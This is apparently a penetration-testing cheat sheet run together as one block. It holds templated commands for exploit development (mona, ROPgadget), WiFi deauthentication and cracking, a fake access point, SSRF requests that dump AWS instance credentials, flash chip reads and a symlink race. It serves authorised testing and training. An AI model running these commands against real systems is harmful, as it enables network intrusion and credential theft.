!mona bytearray -cpb <excluded_bytes|'\x00\x0a\x0d'>mona - Badchar hunting step 3 - compare until "!!! Hooray, normal shellcode unmodified !!!" message
!mona compare -f <input_file|C:\BadChars\bytearray.bin> -a <bytesarray_address|esp>mona - Configure the log directory (no need to create it)
!mona config -set workingfolder <path|c:\logs\%p>mona - Create a cyclic pattern of a given size
!mona pc <pattern_size|400>mona - Find a function in IAT
!mona getiat -s <function_name|*strcpy*>mona - Find bytes in memory (ex: eggs)
!mona find -s <pattern_value|"w00tw00t">mona - Find cyclic pattern in memory
!mona findmspmona - Find location (offset) of 4 bytes in a cyclic pattern
!mona po <pattern_value|41346541>mona - Find pointers that will allow you to jump to a register (without null bytes)
!mona jmp -r <reg_name|esp> -nmona - Find pointers to assist with SEH overwrite exploits (default: no aslr, no rebase, no safeseh)
!mona sehmona - Finds gadgets that can be used in a ROP exploit and do ROP magic with them (Note : can take 20 minutes)
!mona rop -cm aslr=false,rebase=falsemona - Finds stackpivots (move stackpointer to controlled area)
!mona stackpivot -cm os=true -distance <min,max|12,12>mona - Set a breakpoint on all current SEH Handler function pointers
!mona bpsehmona - Show all loaded modules and their properties
!mona modulesmona - Show pointers to pointers to the pattern (might take a while !)
!mona find -type file -s <input_file|C:\stackpivot.txt> -p2pmona - Show the current SEH chain
!mona sehchainmona - Verify the current the log directory
!mona config -get workingfolderropgadget - Search string between two addresses (0x...-0x...)
ROPgadget --binary <binary> --string <string> --range <start_address>-<end_address>
ROPgadget --binary <binary> --only="<instructions>"
ROPgadget --binary <binary> --filter="<instructions>"ropgadget - Specify a binary filename to analyze
ROPgadget --binary <binary>ropgagdet - Enable the ROP chain generation
ROPgadget --binary <binary> --ropchainropgagdet - Search opcode in executable segment
ROPgadget --binary <binary> --opcode <opcode>Wifi14
aircrack - crack handshake for PSK
aircrack-ng -w <dictionary> <input_file>aireplay - deauth client
aireplay-ng --deauth <deauth_count> -c <client_mac_address> -a <mac_address> <wlanmon_interface>airmon - Kill processes which can cause trouble
airmon-ng check killairmon - start interface
airmon-ng start <wlan_interface>airmon - stop interface
airmon-ng stop <wlanmon_interface>airodump - listen to everything
airodump-ng <wlanmon_interface>airodump - listen to specific SSID
airodump-ng --bssid <mac_address> -c <channel> -w <output_file> <wlanmon_interface>hcxdumptool -
hcxpcapngtool -z test.16800 test.pcapnghcxdumptool - WPA2-PSK PMKID Capture
hcxdumptool -i <wlanmon_interface> -o capture.pcapng --enable_status=1 -c <channel>hostapd-wpe - launch fake AP
hostapd-wpe <hostapd_conf>kismet - monitor WiFi
kismet -c <wlan_interface>NetworkManager - Restart NetworkManager
systemctl restart NetworkManagernmcli - set back WiFi interface to managed mode
nmcli device set <wlan_interface> managed truereaver - launch WPS pixiedust attack
reaver -i <wlanmon_interface> -b <mac_address> -c <channel> -ZCloud2
SSRF in EC2 - Dump roles
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role_name>SSRF in EC2 - List roles
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/Flashrom4
Force read from BusPirate
flashrom -p buspirate_spi:dev=<buspirate>,spispeed=<spispeed> -r <output_file> -f -c <chipname>Force read from linux (e.g. Raspberry Pi)
flashrom -p linux_spi:dev=<spidev>,spispeed=<spispeed> -r <output_file> -f -c <chipname>Read from BusPirate
flashrom -p buspirate_spi:dev=<buspirate>,spispeed=<spispeed> -r <output_file>Read from linux (e.g. Raspberry Pi)
flashrom -p linux_spi:dev=<spidev>,spispeed=<spispeed> -r <output_file>Race Condition1
change a file by a symlink when found
while true ; do N=<file_to_search> ; if [[ -r $N ]] ; then rm $N ; ln -s <symlink_target_file> $N ; break; fi ; doneno commands match. clear the search or pick a different phase.